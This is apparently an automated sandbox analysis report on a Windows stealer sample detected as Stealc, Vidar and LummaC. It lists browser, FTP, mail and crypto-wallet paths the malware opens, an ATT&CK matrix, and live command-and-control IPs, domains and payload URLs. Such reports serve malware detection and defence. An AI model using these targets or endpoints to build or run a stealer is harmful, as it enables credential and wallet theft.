Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 6236, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 10.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.userIDHDGDHJEG.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2461147269.00000000001DD000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2510268236.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0.2.NdSXVNeoET.exe.8cdad8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NdSXVNeoET.exe.8cdad8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.NdSXVNeoET.exe.8a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2758549096.0000000001387000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2339972211.00000000008CD000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2757749339.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6236, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 6236, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CCC0C40 sqlite3_bind_zeroblob,	2_2_6CCC0C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CCC0D60 sqlite3_bind_parameter_name,	2_2_6CCC0D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_6CBE8EA0 sqlite3_clear_bindings,	2_2_6CBE8EA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	411 Process Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	1 Software Packing	NTDS	155 System Information Discovery	Distributed Component Object Model	1 Email Collection	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	141 Security Software Discovery	SSH	2 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	12 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Virtualization/Sandbox Evasion	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	411 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
NdSXVNeoET.exe	29%	ReversingLabs	Win32.Trojan.Generic
NdSXVNeoET.exe	100%	Avira	HEUR/AGEN.1310458
NdSXVNeoET.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\userIDHDGDHJEG.exe	100%	Avira	HEUR/AGEN.1310458
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\a43486128347[1].exe	100%	Avira	HEUR/AGEN.1310458
C:\Users\userIDHDGDHJEG.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\a43486128347[1].exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\userIDHDGDHJEG.exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\a43486128347[1].exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://46.8.231.109/c4754d4f680ead72.php	100%	URL Reputation	malware
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://46.8.231.109/	100%	URL Reputation	malware
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	100%	URL Reputation	malware
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll	100%	URL Reputation	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll	100%	URL Reputation	malware
http://upx.sf.net	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
http://46.8.231.109	100%	URL Reputation	malware
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll	100%	URL Reputation	malware
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll	100%	URL Reputation	malware
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	unknown
nsdm.cumpar-auto-orice-tip.ro	147.45.44.104	true	false	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
exemplarou.sbs	188.114.97.3	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
frizzettei.sbs	true		unknown
http://46.8.231.109/c4754d4f680ead72.php	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	true	URL Reputation: malware	unknown
laddyirekyi.sbs	true		unknown
isoplethui.sbs	true		unknown
http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe	false		unknown
http://46.8.231.109/	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll	true	URL Reputation: malware	unknown
invinjurhey.sbs	true		unknown
https://exemplarou.sbs/api	true		unknown
exilepolsiy.sbs	true		unknown
http://46.8.231.109/1309cdeb8f4c8736/freebl3.dll	true	URL Reputation: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dll	true	URL Reputation: malware	unknown
bemuzzeki.sbs	true		unknown
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll	true	URL Reputation: malware	unknown
exemplarou.sbs	true		unknown
wickedneatr.sbs	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	MSBuild.exe, 0000000A.00000002.2510447311.00000000010CE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	GCAKKECA.2.dr	false	URL Reputation: safe	unknown
https://exemplarou.sbs/	MSBuild.exe, 0000000A.00000002.2510447311.00000000010CE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	GCAKKECA.2.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/c4754d4f680ead72.phpnu	MSBuild.exe, 00000002.00000002.2758549096.00000000013E2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://46.8.231.109/1309cdeb8f4c8736/vcruntime140.dll-	MSBuild.exe, 00000002.00000002.2758549096.00000000013C7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://46.8.231.109/c4754d4f680ead72.phpY	MSBuild.exe, 00000002.00000002.2780724835.00000000278C2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://46.8.231.109/c4754d4f680ead72.phpS	MSBuild.exe, 00000002.00000002.2780724835.00000000278C2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	GCAKKECA.2.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	MSBuild.exe, 00000002.00000002.2780724835.00000000278A6000.00000004.00000020.00020000.00000000.sdmp, BGHIDGCAFCBAAAAAFHDA.2.dr	false		unknown
http://46.8.231.109/c4754d4f680ead72.phpry=----GCAKKECAEGDGCBFIJEGHefault-release	MSBuild.exe, 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	GCAKKECA.2.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/mozglue.dlll	MSBuild.exe, 00000002.00000002.2758549096.00000000013C7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.sqlite.org/copyright.html.	MSBuild.exe, 00000002.00000002.2787599006.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2774952048.000000001B817000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://46.8.231.109/c4754d4f680ead72.phpootn	MSBuild.exe, 00000002.00000002.2780724835.00000000278C2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.mozilla.com/en-US/blocklist/	MSBuild.exe, MSBuild.exe, 00000002.00000002.2787879972.000000006CB4D000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr	false		unknown
https://mozilla.org0/	freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	GCAKKECA.2.dr	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	MSBuild.exe, 00000002.00000002.2780724835.00000000278A6000.00000004.00000020.00020000.00000000.sdmp, BGHIDGCAFCBAAAAAFHDA.2.dr	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	BGHIDGCAFCBAAAAAFHDA.2.dr	false		unknown
http://46.8.231.109DGDHJEG-data;	MSBuild.exe, 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	GCAKKECA.2.dr	false	URL Reputation: safe	unknown
http://upx.sf.net	Amcache.hve.6.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dll.	MSBuild.exe, 00000002.00000002.2758549096.00000000013C7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.ecosia.org/newtab/	GCAKKECA.2.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	EGIDAAFIEHIEHJKFHCAEGCBFHJ.2.dr	false	URL Reputation: safe	unknown
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	MSBuild.exe, 00000002.00000002.2780724835.00000000278A6000.00000004.00000020.00020000.00000000.sdmp, BGHIDGCAFCBAAAAAFHDA.2.dr	false		unknown
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dllT	MSBuild.exe, 00000002.00000002.2758549096.00000000013C7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://46.8.231.109	MSBuild.exe, 00000002.00000002.2758549096.0000000001387000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.2757749339.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://ac.ecosia.org/autocomplete?q=	GCAKKECA.2.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll8	MSBuild.exe, 00000002.00000002.2758549096.00000000013C7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://exemplarou.sbs/apin	MSBuild.exe, 0000000A.00000002.2510447311.000000000109C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	EGIDAAFIEHIEHJKFHCAEGCBFHJ.2.dr	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	MSBuild.exe, 00000002.00000002.2780724835.00000000278A6000.00000004.00000020.00020000.00000000.sdmp, BGHIDGCAFCBAAAAAFHDA.2.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/c4754d4f680ead72.phpw	MSBuild.exe, 00000002.00000002.2780724835.00000000278C2000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	MSBuild.exe, 00000002.00000002.2780724835.00000000278A6000.00000004.00000020.00020000.00000000.sdmp, BGHIDGCAFCBAAAAAFHDA.2.dr	false		unknown
https://support.mozilla.org	EGIDAAFIEHIEHJKFHCAEGCBFHJ.2.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	GCAKKECA.2.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	MSBuild.exe, 00000002.00000002.2780724835.00000000278A6000.00000004.00000020.00020000.00000000.sdmp, BGHIDGCAFCBAAAAAFHDA.2.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
46.8.231.109	unknown	Russian Federation	28917	FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	true
188.114.97.3	exemplarou.sbs	European Union	13335	CLOUDFLARENETUS	true
147.45.44.104	nsdm.cumpar-auto-orice-tip.ro	Russian Federation	2895	FREE-NET-ASFREEnetEU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528263
Start date and time:	2024-10-07 17:59:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	NdSXVNeoET.exe renamed because original name is a hash value
Original Sample Name:	2fdea74a17bd7c2816d13404852ec409.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@14/42@2/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 86 Number of non-executed functions: 218
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 40.126.32.76, 40.126.32.74, 40.126.32.72, 40.126.32.136, 20.190.160.17, 20.190.160.20, 40.126.32.68, 40.126.32.140, 199.232.210.172, 104.208.16.94, 192.229.221.95, 20.42.65.92, 172.202.163.200, 52.165.164.15, 20.109.210.53
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, ctldl.windowsupdate.com.delivery.microsoft.com, slscr.update.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, onedsblobprdeus17.eastus.cloudapp.azure.com, ocsp.digicert.com, login.live.com, blobcollector.events.data.trafficmanager.net, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, umwatson.events.data.microsoft.com, wu-b-net.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net, onedsblobprdcus16.centralus.cloudapp.azure.com, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: NdSXVNeoET.exe

Simulations

Behavior and APIs

Time	Type	Description
12:00:21	API Interceptor	4x Sleep call for process: WerFault.exe modified
12:00:33	API Interceptor	1x Sleep call for process: MSBuild.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
46.8.231.109	file.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	fe6yqly1Xh.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	CR0QGWXdDl.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	E7Bu6a7eve.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	f2e7fcb20146.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	d1bc91bd44a0.exe	Get hash	malicious	PrivateLoader, Stealc, Vidar	Browse	46.8.231.109/
	f2e7fcb20146.exe	Get hash	malicious	Stealc	Browse	46.8.231.109/
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	RDPWrap Tool, Amadey, Socks5Systemz, Stealc, Vidar, Xmrig	Browse	46.8.231.109/
188.114.97.3	scan_374783.js	Get hash	malicious	AgentTesla	Browse	paste.ee/d/gvOd3
	IRYzGMMbSw.exe	Get hash	malicious	FormBook	Browse	www.bayarcepat19.click/yuvr/
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/0r21/
